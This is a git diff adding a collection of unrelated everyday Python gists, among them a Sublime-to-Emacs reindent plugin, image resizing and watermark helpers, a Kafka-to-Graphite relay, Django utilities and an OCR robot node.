+				for post in posts], {'Queried %s seconds ago.' % age}))
+		else:
+			self.render_html("front_template.html", posts = posts) 
+
+			
+def get_post(id):
+	post = memcache.get(id)
+	if post is None:
+		logging.error("DB QUERY")
+		key = db.Key.from_path('Post', int(id))
+		post = db.get(key) 
+		memcache.set(id, post)
+		memcache.set('last_queried', time())
+	return post
+			
+
+#id is passed from the RE that recognizes the url
+class PostHandler(Handler):
+	def get(self, id):
+		post = get_post(id)
+		comments = memcache.get(id + '_comments')
+		if post:
+			if comments is None:
+				logging.error('COMMENT QUERY')
+				comments = db.GqlQuery('select * from Comment where ancestor is :1 order by created asc', post)
+				memcache.set(id + '_comments', comments)
+			if self.request.url.endswith('.json'):
+				self.response.headers['Content-Type'] = 'application/json'
+				self.write(json.dumps({'subject':post.title, 'content':post.body, 'created':strftime('%A, %B %c',post.created.timetuple())}))
+			else:
+				self.render_html("permalink_template.html", post = post, comments = comments)
+		else:
+			self.render_html('404.html')
+			
+	def post(self, id):
+		content = self.request.get("content")
+		if content:
+			post = get_post(id)
+			author = self.user.username
+			post.add_comment(author, content)
+			self.redirect(self.request.get('path'))
+		else:
+			error = "you monster"
+			self.render_form(content, error)
+			
+#---------------------------------------------- newpost --------------------------------------------------------------			
+class NewPostHandler(Handler):
+	def render_form(self, subject = "", content = "", error = ""):
+		self.render_html("newpost_form.html", subject = subject, content = content , error = error)
+	def get(self):
+		if self.user and self.user.post_permission == True:
+			self.render_form()
+		else:
+			self.redirect('/login')
+	def post(self):
+		subject = self.request.get("subject")
+		content = self.request.get("content")
+		if subject and content:
+			p = Post(author = self.user.username, title = subject, body = content, comments = 0)
+			p.put()										
+			id = p.key().id()
+			memcache.set(str(id), p)
+			memcache.delete('all')
+			self.redirect('/blog/' + str(id))
+		else:
+			error = "you monster"
+			self.render_form(subject, content, error)
+
+
+app = webapp2.WSGIApplication([
+					(r'/blog/?', BlogHandler), 
+					(r'/blog/\.(?:json)', BlogHandler), 
+					(r'/blog/newpost', NewPostHandler), 
+					(r'/blog/(\d+)', PostHandler),
+					(r'/blog/(\d+)\.(?:json)', PostHandler),
+					],
+				debug=True)
diff --git a/hard-gists/3898894/._snippet.py b/hard-gists/3898894/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3898894/._snippet.py differ
diff --git a/hard-gists/3898894/snippet.py b/hard-gists/3898894/snippet.py
new file mode 100644
index 00000000..b5e0450e
--- /dev/null
+++ b/hard-gists/3898894/snippet.py
@@ -0,0 +1,96 @@
+# Sublime's HTML reindenting is currently pretty bad.  And Tidy and xmllint
+# change my code in ways I don't really like or need. I just need the thing
+# reindented sanely.  Emacs did that pretty well.
+#
+# One thing led to another.  A few drinks later and now I'm using Emacs to
+# reindent HTML from within Sublime.
+#
+# Save the contents of this file as ohmygodemacs.py in your User directory.
+# Then save the contents of the following docstring as ohmygodemacs.elsip in your
+# User directory
+#
+# Then bind this command to a keystroke, e.g. "ctrl-alt-x" by adding
+# this to your user keymap:
+#
+#  { "keys": ["ctrl+alt+x"], "command": "emacs_reindent" },
+#
+# Or execute it from the console:
+#
+# view.run_command('emacs_reindent')
+#
+
+"""
+;; ohmygodemacs.elisp
+;; ex: emacs --no-site-file -batch contents.html -l ohmygodemacs.elisp -f emacs-format-function
+
+(defun emacs-format-function ()
+   "Format the whole buffer."
+   (indent-region (point-min) (point-max) nil)
+   (untabify (point-min) (point-max))
+   (princ (buffer-string))
+)
+"""
+
+import subprocess
+import tempfile
+import os
+import sublime
+import sublime_plugin
+
+class EmacsReindentCommand(sublime_plugin.TextCommand):
+    def run(self, edit):
+        if self.view.sel()[0].size() > 0:
+            self.cursor = None
+            for region in self.view.sel():
+                self.format(edit, region)
+        else:
+            self.cursor = self.view.sel()[0]
+            region = sublime.Region(0, self.view.size())
+            self.format(edit, region)
+      
+    def clear(self):
+        self.view.erase_status('emacs_reindent')
+
+    def format(self, edit, region):
+        fd, tmpnam = tempfile.mkstemp()
+        try:
+            self._reindent(edit, region, fd, tmpnam)
+        finally:
+            try:
+                os.unlink(tmpnam)
+            except:
+                pass
+
+    def _reindent(self, edit, region, fd, tmpnam):
+        fp = os.fdopen(fd, 'wb+')
+        content = self.view.substr(region).encode('utf-8')
+        fp.write(content)
+        fp.flush()
+        htmlname = tmpnam+'.html'
+        os.rename(tmpnam, htmlname)
+        packages_path = sublime.packages_path()
+        ohmygodpath = os.path.join(packages_path, 'User', 'ohmygodemacs.elisp')
+        command = ('emacs --no-site-file -batch %s -l %s -f '
+                   'emacs-format-function' % (htmlname, ohmygodpath))
+        p = subprocess.Popen(
+            command, bufsize=-1, stdout=subprocess.PIPE, 
+            stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True
+            )
+        result, err = p.communicate()
+        if err != "":
+            self.view.set_status('emacs_reindent', "emacs_reindent: "+err)
+            sublime.set_timeout(self.clear,10000)
+        else:
+            self.view.replace(
+                edit, self.view.line(region), 
+                result.decode('utf-8').replace('\r\n', '\n')
+                )
+            sublime.set_timeout(self.clear,0)
+            # minor delay necessary, not sure why (cargo culted from tidyxml)
+            sublime.set_timeout(self.move_cursor,1) 
+
+    def move_cursor(self):
+        if self.cursor != None:
+            self.view.sel().clear()
+            self.view.sel().add(self.cursor)
+            self.view.show(self.cursor)
diff --git a/hard-gists/38f7f1f3b07c77a9c537/._snippet.py b/hard-gists/38f7f1f3b07c77a9c537/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/38f7f1f3b07c77a9c537/._snippet.py differ
diff --git a/hard-gists/38f7f1f3b07c77a9c537/snippet.py b/hard-gists/38f7f1f3b07c77a9c537/snippet.py
new file mode 100644
index 00000000..ab3ddca1
--- /dev/null
+++ b/hard-gists/38f7f1f3b07c77a9c537/snippet.py
@@ -0,0 +1,23 @@
+import appex, bs4, dialogs, urllib2, webbrowser
+if appex.is_running_extension():
+	starturl = appex.get_url()
+else:
+	#ask for video url
+	starturl = dialogs.form_dialog(fields=[{'type':'url', 'title':'URL:', 'key':'url'}])['url']
+#handle redirects, in case of shortened url
+url = urllib2.urlopen(urllib2.Request(starturl)).geturl()
+#keepvid page url
+url = 'http://www.keepvid.com/?url='+url.split('&feature')[0]
+#beautifulsoup object of keepvid page
+soup = bs4.BeautifulSoup(urllib2.urlopen(url).read())
+#find valid links
+links = []
+for l in soup.select('a'):
+	if l.get('href'):
+		if 'googlevideo.com' in l.get('href'):
+			links.append(l)
+#Open the link
+if not appex.is_running_extension():
+	webbrowser.open('safari-'+links[0].get('href'))
+else:
+	print links[0].get('href')
\ No newline at end of file
diff --git a/hard-gists/3912465/._snippet.py b/hard-gists/3912465/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3912465/._snippet.py differ
diff --git a/hard-gists/3912465/snippet.py b/hard-gists/3912465/snippet.py
new file mode 100644
index 00000000..ac73ba6f
--- /dev/null
+++ b/hard-gists/3912465/snippet.py
@@ -0,0 +1,20 @@
+import re
+import terminatorlib.plugin as plugin
+import subprocess
+
+# Every plugin you want Terminator to load *must* be listed in 'AVAILABLE'
+AVAILABLE = ['FileURLHandler']
+
+class FileURLHandler(plugin.URLHandler):
+    capabilities = ['url_handler']
+    handler_name = 'file_path'
+
+    # Match any non-space string starting with an alnum or a slash and ending with a line number
+    match = r'[a-zA-Z0-9\/][^ ]+:[[:digit:]]+|[a-zA-Z0-9\/][^ ]+\([[:digit:]]+\)'
+
+    def callback(self, url):
+        p = subprocess.Popen(["xclip", "-selection", "clipboard"], stdin=subprocess.PIPE)
+        p.communicate(input=url)
+        p.wait()
+        subprocess.call(["subl", "--command", "open_clipboard_path"])
+        return "some_random_string_just_so_that_opening_the_resulting_url_will_fail"
diff --git a/hard-gists/3917103/._snippet.py b/hard-gists/3917103/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3917103/._snippet.py differ
diff --git a/hard-gists/3917103/snippet.py b/hard-gists/3917103/snippet.py
new file mode 100644
index 00000000..dfa8cb02
--- /dev/null
+++ b/hard-gists/3917103/snippet.py
@@ -0,0 +1,37 @@
+import os
+from subprocess import call
+from gmusicapi import api
+
+g = api.Api()
+print "Loging..."
+g.login("email", "password")
+print "OK !"
+
+for song in g.get_all_songs():
+    if not song["artist"]:
+        song["artist"] = "Undefined"
+    path = os.path.join("Musique", song["artist"])
+    if not os.path.exists(path):
+        call(["mkdir", path])
+    if not song["album"]:
+        song["album"] = "Undefined"
+    if song["year"]:
+        path = os.path.join(path, str(song["year"]) + " - " + song["album"])
+    else:
+        path = os.path.join(path, song["album"])
+    if not os.path.exists(path):
+        call(["mkdir", path])
+    if song["track"]:
+        if song["track"] < 10:
+            song["track"] = "0" + str(song["track"])
+        else:
+            song["track"] = str(song["track"])
+        path = os.path.join(path, song["track"] + " - " + song["title"] + ".mp3")
+    else:
+        path = os.path.join(path, song["title"] + ".mp3")
+    print "PATH :", path
+    if not os.path.exists(path):
+        link, nb = g.get_song_download_info(song["id"])
+        print "Downloading", link, "-", nb
+        call(["wget", link, "-O", path])
+    print "---"
diff --git a/hard-gists/3918044/._snippet.py b/hard-gists/3918044/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3918044/._snippet.py differ
diff --git a/hard-gists/3918044/snippet.py b/hard-gists/3918044/snippet.py
new file mode 100644
index 00000000..b2064245
--- /dev/null
+++ b/hard-gists/3918044/snippet.py
@@ -0,0 +1,29 @@
+#opencv
+import cv2.cv as cv
+import cv2
+import numpy as np
+
+def build_filters():
+
+    filters = []
+    ksize = 31
+    for theta in np.arange(0, np.pi, np.pi / 32):
+        params = {'ksize':(ksize, ksize), 'sigma':1.0, 'theta':theta, 'lambd':15.0,
+                  'gamma':0.02, 'psi':0, 'ktype':cv2.CV_32F}
+        kern = cv2.getGaborKernel(**params)
+        kern /= 1.5*kern.sum()
+        filters.append((kern,params))
+    return filters
+
+def process(img, filters):
+    results = []
+    for kern,params in filters:
+        fimg = cv2.filter2D(img, cv2.CV_8UC3, kern)
+        results.append[fimg]
+    return results
+
+
+# main
+g = some_image
+filters = build_filters()
+filtered_images = process(g, filters)
diff --git a/hard-gists/3918279/._snippet.py b/hard-gists/3918279/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3918279/._snippet.py differ
diff --git a/hard-gists/3918279/snippet.py b/hard-gists/3918279/snippet.py
new file mode 100644
index 00000000..9fbda82a
--- /dev/null
+++ b/hard-gists/3918279/snippet.py
@@ -0,0 +1,141 @@
+#coding:utf-8
+'''
+    python图片处理
+    @author:fc_lamp
+    @blog:http://fc-lamp.blog.163.com/
+'''
+import Image as image
+
+#等比例压缩图片
+def resizeImg(**args):
+    args_key = {'ori_img':'','dst_img':'','dst_w':'','dst_h':'','save_q':75}
+    arg = {}
+    for key in args_key:
+        if key in args:
+            arg[key] = args[key]
+        
+    im = image.open(arg['ori_img'])
+    ori_w,ori_h = im.size
+    widthRatio = heightRatio = None
+    ratio = 1
+    if (ori_w and ori_w > arg['dst_w']) or (ori_h and ori_h > arg['dst_h']):
+        if arg['dst_w'] and ori_w > arg['dst_w']:
+            widthRatio = float(arg['dst_w']) / ori_w #正确获取小数的方式
+        if arg['dst_h'] and ori_h > arg['dst_h']:
+            heightRatio = float(arg['dst_h']) / ori_h
+
+        if widthRatio and heightRatio:
+            if widthRatio < heightRatio:
+                ratio = widthRatio
+            else:
+                ratio = heightRatio
+
+        if widthRatio and not heightRatio:
+            ratio = widthRatio
+        if heightRatio and not widthRatio:
+            ratio = heightRatio
+            
+        newWidth = int(ori_w * ratio)
+        newHeight = int(ori_h * ratio)
+    else:
+        newWidth = ori_w
+        newHeight = ori_h
+        
+    im.resize((newWidth,newHeight),image.ANTIALIAS).save(arg['dst_img'],quality=arg['save_q'])
+
+    '''
+    image.ANTIALIAS还有如下值：
+    NEAREST: use nearest neighbour
+    BILINEAR: linear interpolation in a 2x2 environment
+    BICUBIC:cubic spline interpolation in a 4x4 environment
+    ANTIALIAS:best down-sizing filter
+    '''
+
+#裁剪压缩图片
+def clipResizeImg(**args):
+    
+    args_key = {'ori_img':'','dst_img':'','dst_w':'','dst_h':'','save_q':75}
+    arg = {}
+    for key in args_key:
+        if key in args:
+            arg[key] = args[key]
+        
+    im = image.open(arg['ori_img'])
+    ori_w,ori_h = im.size
+
+    dst_scale = float(arg['dst_h']) / arg['dst_w'] #目标高宽比
+    ori_scale = float(ori_h) / ori_w #原高宽比
+
+    if ori_scale >= dst_scale:
+        #过高
+        width = ori_w
+        height = int(width*dst_scale)
+
+        x = 0
+        y = (ori_h - height) / 3
+        
+    else:
+        #过宽
+        height = ori_h
+        width = int(height*dst_scale)
+
+        x = (ori_w - width) / 2
+        y = 0
+
+    #裁剪
+    box = (x,y,width+x,height+y)
+    #这里的参数可以这么认为：从某图的(x,y)坐标开始截，截到(width+x,height+y)坐标
+    #所包围的图像，crop方法与php中的imagecopy方法大为不一样
+    newIm = im.crop(box)
+    im = None
+
+    #压缩
+    ratio = float(arg['dst_w']) / width
+    newWidth = int(width * ratio)
+    newHeight = int(height * ratio)
+    newIm.resize((newWidth,newHeight),image.ANTIALIAS).save(arg['dst_img'],quality=arg['save_q'])
+    
+
+#水印(这里仅为图片水印)
+def waterMark(**args):
+    args_key = {'ori_img':'','dst_img':'','mark_img':'','water_opt':''}
+    arg = {}
+    for key in args_key:
+        if key in args:
+            arg[key] = args[key]
+        
+    im = image.open(arg['ori_img'])
+    ori_w,ori_h = im.size
+
+    mark_im = image.open(arg['mark_img'])
+    mark_w,mark_h = mark_im.size
+    option ={'leftup':(0,0),'rightup':(ori_w-mark_w,0),'leftlow':(0,ori_h-mark_h),
+             'rightlow':(ori_w-mark_w,ori_h-mark_h)
+             }
+    
+
+    im.paste(mark_im,option[arg['water_opt']],mark_im.convert('RGBA'))
+    im.save(arg['dst_img'])
+    
+
+        
+#Demon
+#源图片
+ori_img = 'D:/tt.jpg'
+#水印标
+mark_img = 'D:/mark.png'
+#水印位置(右下)
+water_opt = 'rightlow'
+#目标图片
+dst_img = 'D:/python_2.jpg'
+#目标图片大小
+dst_w = 94
+dst_h = 94
+#保存的图片质量
+save_q = 35
+#裁剪压缩
+clipResizeImg(ori_img=ori_img,dst_img=dst_img,dst_w=dst_w,dst_h=dst_h,save_q = save_q)
+#等比例压缩
+#resizeImg(ori_img=ori_img,dst_img=dst_img,dst_w=dst_w,dst_h=dst_h,save_q=save_q)
+#水印
+#waterMark(ori_img=ori_img,dst_img=dst_img,mark_img=mark_img,water_opt=water_opt)
\ No newline at end of file
diff --git a/hard-gists/3918300/._snippet.py b/hard-gists/3918300/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3918300/._snippet.py differ
diff --git a/hard-gists/3918300/snippet.py b/hard-gists/3918300/snippet.py
new file mode 100644
index 00000000..bb7d99b1
--- /dev/null
+++ b/hard-gists/3918300/snippet.py
@@ -0,0 +1,25 @@
+"""Add user created_by and modified_by foreign key refs to any model automatically.
+   Almost entirely taken from https://github.com/Atomidata/django-audit-log/blob/master/audit_log/middleware.py"""
+from django.db.models import signals
+from django.utils.functional import curry
+
+class WhodidMiddleware(object):
+    def process_request(self, request):
+        if not request.method in ('GET', 'HEAD', 'OPTIONS', 'TRACE'):
+            if hasattr(request, 'user') and request.user.is_authenticated():
+                user = request.user
+            else:
+                user = None
+
+            mark_whodid = curry(self.mark_whodid, user)
+            signals.pre_save.connect(mark_whodid,  dispatch_uid = (self.__class__, request,), weak = False)
+
+    def process_response(self, request, response):
+        signals.pre_save.disconnect(dispatch_uid =  (self.__class__, request,))
+        return response
+
+    def mark_whodid(self, user, sender, instance, **kwargs):
+        if not getattr(instance, 'created_by_id', None):
+            instance.created_by = user
+        if hasattr(instance,'modified_by_id'):
+            instance.modified_by = user
\ No newline at end of file
diff --git a/hard-gists/391fb178d7c06e8dc7e4051d9b5395af/._snippet.py b/hard-gists/391fb178d7c06e8dc7e4051d9b5395af/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/391fb178d7c06e8dc7e4051d9b5395af/._snippet.py differ
diff --git a/hard-gists/391fb178d7c06e8dc7e4051d9b5395af/snippet.py b/hard-gists/391fb178d7c06e8dc7e4051d9b5395af/snippet.py
new file mode 100644
index 00000000..2f8baf74
--- /dev/null
+++ b/hard-gists/391fb178d7c06e8dc7e4051d9b5395af/snippet.py
@@ -0,0 +1,79 @@
+#!/usr/bin/env python
+
+# sudo apt-get install tesseract-ocr
+# sudo pip install pytesseract
+
+# Author: Sammy Pfeiffer
+
+try:
+    import Image
+except ImportError:
+    from PIL import Image
+import pytesseract
+import rospy
+from std_msgs.msg import String
+from sensor_msgs.msg import CompressedImage
+import cv2
+import numpy as np
+from actionlib import SimpleActionClient
+try:
+    from cerevoice_tts_msgs.msg import TtsAction, TtsGoal
+except ImportError:
+    print "Couldn't import TtsActionGoal, we won't speak"
+
+
+class TextReader(object):
+    def __init__(self):
+        self.last_img = None
+        self.img_sub = rospy.Subscriber('/wide_stereo/left/image_color/compressed',
+                                        CompressedImage,
+                                        self.img_cb)
+        self.pub_text = rospy.Publisher('/recognized_text', String)
+        self.speaking = False
+        try:
+            self.tts_ac = SimpleActionClient('/tts', TtsAction)
+            rospy.loginfo("Waiting for TTS AS...")
+            self.tts_ac.wait_for_server()
+            rospy.loginfo("Found TTS AS!")
+            self.speaking = True
+        except NameError:
+            pass
+
+    def img_cb(self, data):
+        self.last_img = data
+
+    def get_text(self, image):
+        np_arr = np.fromstring(image.data, np.uint8)
+        image_np = cv2.imdecode(np_arr, cv2.CV_LOAD_IMAGE_COLOR)
+        cv2.imwrite('/tmp/current_image_reading.png', image_np)
+        text = pytesseract.image_to_string(
+            Image.open('/tmp/current_image_reading.png'))
+        return text
+
+    def say_sentence(self, text):
+        rospy.loginfo("I'll say:" + text)
+        text = text.replace('1', 'I')
+        text = text.replace('\n', '')
+        g = TtsGoal()
+        g.text = text
+        self.tts_ac.send_goal_and_wait(g)
+        rospy.sleep(1)
+
+    def run(self):
+        r = rospy.Rate(1)
+        while not rospy.is_shutdown():
+            if self.last_img:
+                text = self.get_text(self.last_img)
+                if text:
+                    rospy.loginfo("I read: " + str(text))
+                    self.pub_text.publish(text)
+                    if self.speaking:
+                        self.say_sentence(text)
+                    rospy.loginfo("I couldn't read anything.")
+            r.sleep()
+
+
+if __name__ == '__main__':
+    rospy.init_node('text_reader')
+    tr = TextReader()
+    tr.run()
diff --git a/hard-gists/3931936/._snippet.py b/hard-gists/3931936/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3931936/._snippet.py differ
diff --git a/hard-gists/3931936/snippet.py b/hard-gists/3931936/snippet.py
new file mode 100644
index 00000000..091d17e9
--- /dev/null
+++ b/hard-gists/3931936/snippet.py
@@ -0,0 +1,181 @@
+#!/usr/bin/env python
+from optparse import OptionParser
+from brod.zk import *
+import pickle
+import struct
+import socket
+import sys
+import time
+
+
+class Graphite:
+
+    def __init__(self, host='localhost', port=2004, retry=5, delay=3, backoff=2, timeout=10):
+        self.host = host
+        self.port = port
+        self.retry = retry
+        self.delay = delay
+        self.backoff = backoff
+        self.timeout = timeout
+
+        # Create initial socket
+        self.conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
+        self.conn.settimeout(self.timeout)
+        # Initiate connection
+        self.connect()
+
+
+    def _backoff(self, retry, delay, backoff):
+        """Exponential backoff."""
+        retry -= 1
+        if retry == 0:
+            raise Exception('Timeout')
+        time.sleep(delay)
+        delay *= backoff
+        return retry, delay, backoff
+
+
+    def _retry(self, exception, func, *args):
+        """Retry calling the func catching a tuple of exceptions with backoff."""
+        retry = self.retry
+        delay = self.delay
+        backoff = self.backoff
+        while retry > 0:
+            try:
+                return func(*args)
+            except exception, e:
+                retry, delay, backoff = self._backoff(retry, delay, backoff)
+
+
+    def connect(self):
+        """Connect to graphite."""
+        retry = self.retry
+        backoff = self.backoff
+        delay = self.delay
+        while retry > 0:
+            try:
+                # Attempt to connect to Graphite, break if success
+                self.conn.connect((self.host, self.port))
+                break
+            except socket.error, e:
+                # Ditch this socket. Create a new one
+                self.conn.close()
+                self.conn.connect()
+                retry, delay, backoff = self._backoff(retry, delay, backoff)
+
+
+    def close(self):
+        """Close connection go Graphite."""
+        self.conn.close()
+
+
+    def send(self, data, retry=3):
+        """Send data to graphite."""
+        retry = self.retry
+        backoff = self.backoff
+        delay = self.delay
+        # Attempt to send any data in the queue
+        while retry > 0:
+            # Check socket
+            if not self.conn:
+                # Attempt to restablish connection
+                self.close()
+                self.connect()
+                retry, delay, backoff = self._backoff(retry, delay, backoff)
+                continue
+            try:
+                # Send data to socket
+                self.conn.sendall(data)
+                break
+            except socket.error, e:
+                self.close()
+                self.connect()
+                retry, delay, backoff = self._backoff(retry, delay, backoff)
+                continue
+
+
+def _pickle(batch):
+    """Pickle metrics into graphite format."""
+    payload = pickle.dumps(batch)
+    header = struct.pack("!L", len(payload))
+    message = header + payload
+    return message
+
+
+def _convert(msg):
+    """Convert a graphite key value string to pickle."""
+    path, timestamp, value = msg.split(' ')
+    m = (path, (timestamp, value))
+    return m
+
+
+def _connect_zookeeper(zk, group, topic, autocommit=True):
+    """Connect to ZooKeeper ensemble."""
+    consumer = ZKConsumer(zk, group, topic, autocommit)
+    return consumer
+
+
+if __name__ == "__main__":
+    batch = []
+
+    parser = OptionParser()
+    parser.add_option("-z", "--zk", dest="zookeeper", default="localhost:2181", help="Kafka ZooKeeper quorum")
+    parser.add_option("-t", "--topic", dest="topic", help="Kafka topic")
+    parser.add_option("-c", "--consumer", dest="consumer_group", default="graphite", help="Kafka consumer group")
+    parser.add_option("-H", "--host", dest="graphite_host", default="localhost", help="Graphite host")
+    parser.add_option("-p", "--port", dest="graphite_port", type=int, default=2004, help="Graphite port")
+    parser.add_option("-k", "--pickle", dest="pickle_batch", action="store_true",  help="Pickle the graphite batches")
+    parser.add_option("-b", "--batch", dest="batch_size", type=int, default=200, help="Graphite pickle batch size")
+    parser.add_option("-i", "--interval", dest="poll", type=int, default=15, help="Poll interval for Kafaka topic")
+
+    (options, args) = parser.parse_args()
+
+    # Assign OptParse variables
+    consumer_group = options.consumer_group
+    topic = options.topic
+    zookeeper = options.zookeeper
+    batch_size = options.batch_size
+    pickle_batch = options.pickle_batch
+    host = options.graphite_host
+    port = options.graphite_port
+    poll = options.poll
+
+    # Connect to Graphite
+    try:
+        graphite = Graphite(host, port)
+    except socket.error, e:
+        print "Could not connect to graphite host %s:%s" % (host, port)
+        sys.exit(1)
+    except socket.gaierror, e:
+        print "Invalid hostname for graphite host %s" % (host)
+        sys.exit(1)
+
+    # Connect to ZooKeeper
+    try:
+        consumer = _connect_zookeeper(zookeeper, consumer_group, topic)
+    except ZKConnectError, e:
+        print "Could not connect to zookeeper ensemble %s" % (zookeeper)
+        sys.exit(1)
+
+    # Consume Kafka topic
+    for msg_set in consumer.poll(poll_interval=poll):
+        for offset, msg in msg_set:
+            if pickle_batch:
+                # Convert metric to Pickle format, and append batch
+                batch.append(_convert(msg))
+            else:
+                # Append string to list
+                batch.append(msg)
+            # Check to see if we should send metrics to Graphite
+            if len(batch) >= batch_size:
+                # Pickle metrics if set to true
+                if pickle_batch:
+                    # Pickle graphite batch
+                    pickled = _pickle(batch)
+                    graphite.send(pickled)
+                else:
+                    # Send metrics to Graphite. Convert list to string
+                    graphite.send("\n".join(batch))
+                # Clear batch. Successfully sent
+                print "Sent %s metrics to Graphite" % (len(batch))
+                batch = []
\ No newline at end of file
diff --git a/hard-gists/3938253/._snippet.py b/hard-gists/3938253/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3938253/._snippet.py differ
diff --git a/hard-gists/3938253/snippet.py b/hard-gists/3938253/snippet.py
new file mode 100644
index 00000000..e571a1f2
--- /dev/null
+++ b/hard-gists/3938253/snippet.py
@@ -0,0 +1,52 @@
+import os
+import subprocess
+import atexit
+import signal
+from optparse import make_option
+
+from django.conf import settings
+from django.core.management.base import BaseCommand
+from django.core.management.commands.runserver import Command as RunserverCommand
+
+class Command(RunserverCommand):
+    option_list = RunserverCommand.option_list + (
+        make_option('--compasswatch', dest='compass_project_path', default=settings.COMPASS_PROJECT_PATH,
+            help='Specifies the project directory for a compass project'),
+    )
+
+    def run(self, *args, **options):
+        """Runs the server and the compass watch process"""
+        use_reloader = options.get('use_reloader')
+        
+        if settings.DEBUG and use_reloader and os.environ.get("RUN_MAIN") != "true":
+            """RUN_MAIN Environment variable is set to None the first time the
+            runserver command is start, on every reload after a code change if the
+            option 'use_reloader' is set (by default it's) RUN_MAIN is set on 'true'.
+            """
+
+            self.compass_project_path = options.get('compass_project_path')
+
+            if not os.path.exists(os.path.join(self.compass_project_path, 'config.rb')):
+                self.stdout.write('>>> Didn\'t found a Compass project in %r\n' % self.compass_project_path)
+            else:
+                self.start_compass_watch()
+
+        super(Command, self).run(*args, **options)
+
+
+    def start_compass_watch(self):
+        self.stdout.write(self.style.NOTICE(">>> Starting the compass watch command for %r") % self.compass_project_path + "\n" )
+        self.compass_process = subprocess.Popen(
+            ['compass watch %s' % self.compass_project_path],
+            shell=True,
+            stdin=subprocess.PIPE,
+            stdout=self.stdout,
+            stderr=self.stderr,
+        )
+        self.stdout.write(self.style.NOTICE(">>> Compass watch process on pid %r" % self.compass_process.pid) + "\n")
+
+        def kill_compass_project(pid):
+            self.stdout.write(self.style.NOTICE(">>> Closing Compass watch process") + "\n")
+            os.kill(pid, signal.SIGTERM)
+
+        atexit.register(kill_compass_project, self.compass_process.pid)
\ No newline at end of file
diff --git a/hard-gists/3940455/._snippet.py b/hard-gists/3940455/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3940455/._snippet.py differ
diff --git a/hard-gists/3940455/snippet.py b/hard-gists/3940455/snippet.py
new file mode 100644
index 00000000..351769dc
--- /dev/null
+++ b/hard-gists/3940455/snippet.py
@@ -0,0 +1,53 @@
+# Wanted to test the penalty for using imports inside functions.
+
+import timeit
+
+def t1():
+    return 2 * 2
+
+timeit.timeit("t1()", setup="from __main__ import t1")
+
+#> 0.14718103408813477
+
+def t2():
+    import os
+    return 2 * 2
+
+timeit.timeit("t2()", setup="from __main__ import t2")
+
+#> 1.1158959865570068
+# Ouch!
+
+def t3():
+    os = __import__('os')
+    return 2 * 2
+
+timeit.timeit("t3()", setup="from __main__ import t3")
+
+#> 0.7558999061584473
+
+import sys
+import os
+def t4():
+    os = sys.modules.get('os')
+    return 2 * 2
+
+timeit.timeit("t4()", setup="from __main__ import t4, os, sys")
+
+#> 0.45201706886291504
+
+import sys
+import os
+
+def myimport(module):
+    return sys.modules.get(module) or __import__(module)
+
+def t5():
+    os = myimport('os')
+    return 2 * 2
+
+timeit.timeit("t5()", setup="from __main__ import t5, myimport, os, sys")
+
+#> 0.6421878337860107
+
+# Conclusion: Not for performance critical areas.
\ No newline at end of file
diff --git a/hard-gists/3943d55ca7eedf716ed6/._snippet.py b/hard-gists/3943d55ca7eedf716ed6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3943d55ca7eedf716ed6/._snippet.py differ
diff --git a/hard-gists/3943d55ca7eedf716ed6/snippet.py b/hard-gists/3943d55ca7eedf716ed6/snippet.py
new file mode 100644
index 00000000..d604f71c
--- /dev/null
+++ b/hard-gists/3943d55ca7eedf716ed6/snippet.py
@@ -0,0 +1,20 @@
+import time
+from concurrent.futures import ProcessPoolExecutor
+from tornado.ioloop import IOLoop
+from tornado import gen
+
+def f(a, b, c, blah=None):
+    print "got %s %s %s and %s" % (a, b, c, blah)
+    time.sleep(5)
+    return "hey there"
+
+@gen.coroutine
+def test_it():
+    pool = ProcessPoolExecutor(max_workers=1)
+    fut = pool.submit(f, 1, 2, 3, blah="ok")  # This returns a concurrent.futures.Future
+    print("running it asynchronously")
+    ret = yield fut
+    print("it returned %s" % ret)
+    pool.shutdown()
+
+IOLoop.instance().run_sync(test_it)
\ No newline at end of file
diff --git a/hard-gists/3946121/._snippet.py b/hard-gists/3946121/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3946121/._snippet.py differ
diff --git a/hard-gists/3946121/snippet.py b/hard-gists/3946121/snippet.py
new file mode 100644
index 00000000..52e85e86
--- /dev/null
+++ b/hard-gists/3946121/snippet.py
@@ -0,0 +1,110 @@
+import sys
+import colorsys
+from colorz import colorz
+
+WALLPAPER = '/home/james/.wallpaper'
+COLORS = '/home/james/.colors'
+XRESOURCES = '/home/james/.Xresources'
+
+cols = ''
+xres = """
+URxvt.font: -*-unifont-medium-*-*-*-16-*-*-*-*-*-*-*
+URxvt.boldFont: -*-unifont-medium-*-*-*-16-*-*-*-*-*-*-*
+URxvt.perl-ext-common: default,keyboard-select,url-select,clipboard
+URxvt.modifier: super
+
+! Original Colors
+! urxvt*color8:    #4DA869
+! urxvt*color9:    #EF2929
+! urxvt*color10:    #BDA2BF
+! urxvt*color11:    #FFF391
+! urxvt*color12:    #7587A6
+! urxvt*color13:    #F0C47B
+! urxvt*color14:    #FF4040
+! urxvt*color15:    #EEEEEC
+! urxvt*color0:    #2E3436
+! !urxvt*color0:    #000000
+! urxvt*color1:    #DD1144
+! urxvt*color2:    #9B859D
+! urxvt*color3:    #F9EE98
+! urxvt*color4:    #424D5E
+! urxvt*color5:    #CDA869
+! urxvt*color6:    #E94444
+! urxvt*color7:    #C2C2C2
+
+! Keyboard select
+URxvt.keysym.M-Escape: perl:keyboard-select:activate
+URxvt.keysym.M-s: perl:keyboard-select:search
+
